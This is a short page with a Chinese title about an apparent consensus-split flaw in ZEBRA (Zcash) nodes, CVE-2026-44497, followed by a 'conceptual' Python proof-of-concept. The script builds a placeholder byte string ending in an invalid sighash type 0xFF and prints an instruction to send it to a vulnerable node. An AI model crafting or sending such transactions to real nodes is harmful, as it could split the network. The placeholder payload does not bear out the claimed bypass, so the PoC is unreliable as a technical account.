CVE-2026-44497 ZEBRA节点共识分裂漏洞

# PoC for CVE-2026-44497 (Conceptual) # This script demonstrates how a transaction with an invalid sighash type # might bypass validation on vulnerable ZEBRA nodes. import struct def craft_malicious_tx(): # Simulating a transaction structure # In a real scenario, this would be a valid raw Zcash transaction # with a modified sighash type byte in the signature script. # Normal sighash type might be 0x01 (SIGHASH_ALL) # We use an invalid type, e.g., 0xFF or undefined value invalid_sighash_type = 0xFF # Assume previous validation left a valid hash in the buffer # The vulnerable code fails to clear/update the buffer on error # and proceeds with the stale valid hash. tx_data = b"\x01" * 10 # Placeholder header sig_script = struct.pack('<B', invalid_sighash_type) return tx_data + sig_script if __name__ == "__main__": print("[+] Crafting transaction with invalid sighash type...") malicious_tx = craft_malicious_tx() print(f"[+] Malicious transaction payload: {malicious_tx.hex()}") print("[!] Send this to a vulnerable ZEBRA node to trigger consensus split.")